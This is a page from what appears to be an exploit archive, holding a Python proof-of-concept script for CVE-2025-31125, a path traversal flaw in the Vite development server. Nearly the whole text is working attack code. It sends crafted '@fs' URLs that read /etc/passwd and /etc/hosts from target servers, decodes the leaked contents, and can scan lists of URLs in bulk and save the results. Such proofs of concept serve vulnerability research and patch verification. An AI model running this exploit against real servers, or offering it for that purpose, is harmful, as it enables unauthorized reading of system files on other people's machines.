4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import base64
import argparse
import os
import urllib3
from colorama import init, Fore, Style

# Initialize colorama for colorful output
init()

# Suppress SSL warnings
urllib3.disable_warnings()

# Banner
BANNER = f"""
{Fore.CYAN}============================================================
          Vite Development Server Path Traversal Exploit
                  CVE-2025-31125
          Created by Muhammad Waseem
============================================================{Style.RESET_ALL}
{Fore.YELLOW}Description:{Style.RESET_ALL}
Path traversal vulnerability in Vite development server's @fs endpoint allows 
attackers to access files outside the intended directory. When exposed to the 
network, attackers can exploit this via crafted URLs to access sensitive system files.
"""

def decode_base64(data):
    try:
        if "base64," in data:
            b64_str = data.split("base64,")[1].split("'")[0]
            decoded = base64.b64decode(b64_str).decode('utf-8', errors='ignore')
            return decoded
        return None
    except Exception:
        return None

def save_output(data, output_file):
    try:
        with open(output_file, 'a') as f:
            f.write(data + '\n')
        print(f"{Fore.GREEN}[+] Saved output to {output_file}{Style.RESET_ALL}")
    except Exception as e:
        print(f"{Fore.RED}[-] Error saving to {output_file}: {e}{Style.RESET_ALL}")

def exploit_vite(target, passwd_path, hosts_path, output_file=None):
    # First try /etc/passwd
    try:
        response = requests.get(f"{target}{passwd_path}", timeout=5, verify=False)
        
        if (response.status_code == 200 and
            "data:application/octet-stream" in response.text and 
            "base64" in response.text and 
            "text/javascript" in response.headers.get("Content-Type", "")):
            
            decoded_data = decode_base64(response.text)
            if decoded_data:
                output = f"{Fore.GREEN}[+] Vulnerable path: {passwd_path}\n[+] Decoded data:\n{decoded_data}\n{Style.RESET_ALL}"
                print(output)
                if output_file:
                    save_output(output, output_file)
                
                # If passwd is found, try /etc/hosts
                try:
                    response = requests.get(f"{target}{hosts_path}", timeout=5, verify=False)
                    
                    if (response.status_code == 200 and
                        "data:application/octet-stream" in response.text and 
                        "base64" in response.text and 
                        "text/javascript" in response.headers.get("Content-Type", "")):
                        
                        decoded_data = decode_base64(response.text)
                        if decoded_data:
                            output = f"{Fore.GREEN}[+] Vulnerable path: {hosts_path}\n[+] Decoded data:\n{decoded_data}\n{Style.RESET_ALL}"
                            print(output)
                            if output_file:
                                save_output(output, output_file)
                        else:
                            print(f"{Fore.RED}[-] No valid base64 data found for {hosts_path}{Style.RESET_ALL}\n")
                    else:
                        print(f"{Fore.RED}[-] Invalid response for {hosts_path} (Status: {response.status_code}){Style.RESET_ALL}\n")
                
                except requests.RequestException:
                    print(f"{Fore.RED}[-] Request failed for {hosts_path}{Style.RESET_ALL}\n")
    except requests.RequestException:
        pass

def load_urls_from_file(file_path):
    try:
        with open(file_path, 'r') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"{Fore.RED}[-] Error reading file {file_path}: {e}{Style.RESET_ALL}")
        return []

def main():
    parser = argparse.ArgumentParser(
        description=f"{Fore.CYAN}Exploit for CVE-2025-31125 (Vite Development Server Path Traversal){Style.RESET_ALL}",
        epilog=f"""
{Fore.YELLOW}Examples:{Style.RESET_ALL}
  Scan a single URL: python vite_exploit.py -u http://target.com
  Scan multiple URLs from a file: python vite_exploit.py -f urls.txt -o output.txt
  Save results: python vite_exploit.py -u http://target.com -o output.txt
{Fore.YELLOW}Note:{Style.RESET_ALL}
  When using -f to scan multiple URLs, only vulnerable URLs with decoded data will be shown.
  Use -u for a single URL to see detailed data for /etc/passwd and /etc/hosts.
        """
    )
    parser.add_argument(
        '-u', '--url',
        help='Target URL of the Vite server (e.g., http://target.com)'
    )
    parser.add_argument(
        '-f', '--file',
        help='File containing URLs to scan (one per line)'
    )
    parser.add_argument(
        '-o', '--output',
        help='Output file to save results'
    )
    args = parser.parse_args()

    # Validate arguments
    if not args.url and not args.file:
        print(f"{Fore.RED}[-] Error: Either -u or -f must be provided{Style.RESET_ALL}")
        parser.print_help()
        return

    # Print banner
    print(BANNER)

    # Paths to check
    passwd_path = "/@fs/etc/passwd?import&?inline=1.wasm?init"
    hosts_path = "/@fs/etc/hosts?import&?inline=1.wasm?init"

    # Handle single URL
    if args.url:
        print(f"{Fore.CYAN}[*] Scanning single URL: {args.url}{Style.RESET_ALL}")
        exploit_vite(args.url, passwd_path, hosts_path, args.output)

    # Handle URL file
    if args.file:
        print(f"{Fore.YELLOW}[!] Alert: Scanning multiple URLs from {args.file}. Only vulnerable URLs with data will be shown.{Style.RESET_ALL}")
        urls = load_urls_from_file(args.file)
        if not urls:
            print(f"{Fore.RED}[-] No valid URLs found in {args.file}. Exiting.{Style.RESET_ALL}")
            return
        for url in urls:
            print(f"{Fore.CYAN}[*] Scanning URL: {url}{Style.RESET_ALL}")
            exploit_vite(url, passwd_path, hosts_path, args.output)

if __name__ == "__main__":
    main()